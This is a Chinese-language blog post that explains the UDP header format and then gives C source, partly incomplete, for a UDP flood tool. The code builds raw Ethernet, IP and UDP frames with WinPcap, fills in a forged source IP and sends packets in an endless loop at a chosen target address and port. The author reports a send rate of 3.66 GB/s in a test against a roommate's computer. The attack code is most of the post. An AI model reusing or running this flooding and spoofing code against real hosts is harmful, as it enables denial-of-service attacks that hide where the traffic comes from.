UDP flood 原理及原始碼 C實現
阿新 • • 發佈:2019-02-01
UDP是一種不可靠的、無連線的資料報服務。源主機在傳送資料前不需要和目標主機建立連線。資料被冠以源、目標埠號等UDP報頭欄位後直接發往目的主機。這時,每個資料段的可靠性依靠上層協議來保證。在傳送資料較少、較小的情況下,UDP比TCP更加高效。
如圖示,UDP報文結構
●源、目標埠號欄位:佔2位元組。作用與TCP資料段中的埠號欄位相同,用來標識源端和目標端的應用程序。
●長度欄位:佔2位元組。標明UDP頭部和UDP資料的總長度位元組。
●校驗和欄位:佔2位元組。用來對UDP頭部和UDP資料進行校驗。
和TCP不同的是,對UDP來說,此欄位是可選項,而TCP資料段中的校驗和欄位是必須有的
下面是程式碼,只貼出了一部分,這個小程式下載地址為
傳送速度能達到3.66GB/s, 接收方,測試時是舍友的電腦,和我只隔了一個閘道器,中間只有一跳,接收速度是1.8GB/s
<span style="white-space:pre"> </span>_ethHeader ethHeader; _ipHeader ipHeader; _udpHeader udpHeader; ///// 資料 int datasize; char temp[]="-------Hello UDP World! By:hwhaocool----";// ICMP資料 datasize=sizeof(temp); //////物理幀 memcpy(ethHeader.dMac,attackInfo.dstMac,6); IP_ADAPTER_INFO adapter[5]; DWORD buflen=sizeof(adapter); DWORD status=GetAdaptersInfo(adapter,&buflen); if(status==ERROR_SUCCESS) { int i=0; for(;i<attackInfo.devNum;i++)<span style="white-space:pre">
//attackInfo.devNum是一個傳進來的變數,代表網絡卡裝置的序號,0,1,2 ; memcpy(ethHeader.sMac,adapter[i].Address,6); //這裡不偽造是為了不破壞閘道器的ARP表 } ethHeader.type=0x0008; ///////// IP幀頭 ipHeader.VerAndH_length=0x45; ipHeader.tos=0; //總長度 datasize=sizeof(ethHeader)+sizeof(ipHeader)+sizeof(udpHeader)+sizeof(temp); ipHeader.totalLength=htons(85); ipHeader.id=htons(2345); ipHeader.flagANDfrag=0; <span style="white-space:pre"> </span>//不分片 ipHeader.ttl=0x80; ipHeader.type=17; //UDP 17 ,tcp 6 ipHeader.cksum=0; ipHeader.sIP=inet_addr(fakeIP); //源IP,是一個偽造好的IP,可以隨意填 memcpy(&ipHeader.dIP,attackInfo.dstIp,4); //目標IP ipHeader.cksum=checksum((USHORT*)(&ipHeader),sizeof(ipHeader)); ////// UDP幀頭 udpHeader.sPort=htons(5000); udpHeader.dPort=htons(attackInfo.port); udpHeader.length=htons(sizeof(udpHeader)+sizeof(temp)); udpHeader.cksum=0; ////// 開始合併資料 u_char bufdata[200]; memcpy(bufdata,ðHeader,sizeof(ethHeader)); datasize=sizeof(ethHeader); memcpy(bufdata+datasize,&ipHeader,sizeof(ipHeader)); datasize+=sizeof(ipHeader); memcpy(bufdata+datasize,&udpHeader,sizeof(udpHeader)); datasize+=sizeof(udpHeader); memcpy(bufdata+datasize,temp,sizeof(temp)); datasize+=sizeof(temp); ///// 開始傳送資料包 int i=0; for(;i<attackInfo.devNum;i++) //選擇第幾張網絡卡 alldevs=alldevs->next; name=alldevs->name;//乙太網 pcap_t * fp; fp=pcap_open(name,100,PCAP_OPENFLAG_PROMISCUOUS,100,NULL,errbuf); while(key) pcap_sendpacket(fp,bufdata,datasize); pcap_close(fp); return 0;
注:這不是完整的程式,只是貼出來了一步一步構造UDP
報文和傳送報文的程式碼,我是把這個寫成獨立的函數了,
所以好多全域性變數其實在別的地方已經宣告並且初始化了,讀者若對某處有問題,可以留言,知無不答
這裡是各個幀的結構體,
typedef struct _ethHeader
{
BYTE dMac[6];
BYTE sMac[6];
USHORT type;
};
typedef struct _ipHeader//20 位元組的IP頭部
{
BYTE VerAndH_length;//版本號和頭部長度
BYTE tos;//優先順序
USHORT totalLength;
USHORT id;
USHORT flagANDfrag;//標識和分片
BYTE ttl;
BYTE type;
USHORT cksum;
ULONG sIP;
ULONG dIP;
};
typedef struct _udpHeader
{
USHORT sPort;
USHORT dPort;
USHORT length;
USHORT cksum;//可以隨意填,不用必須正確
};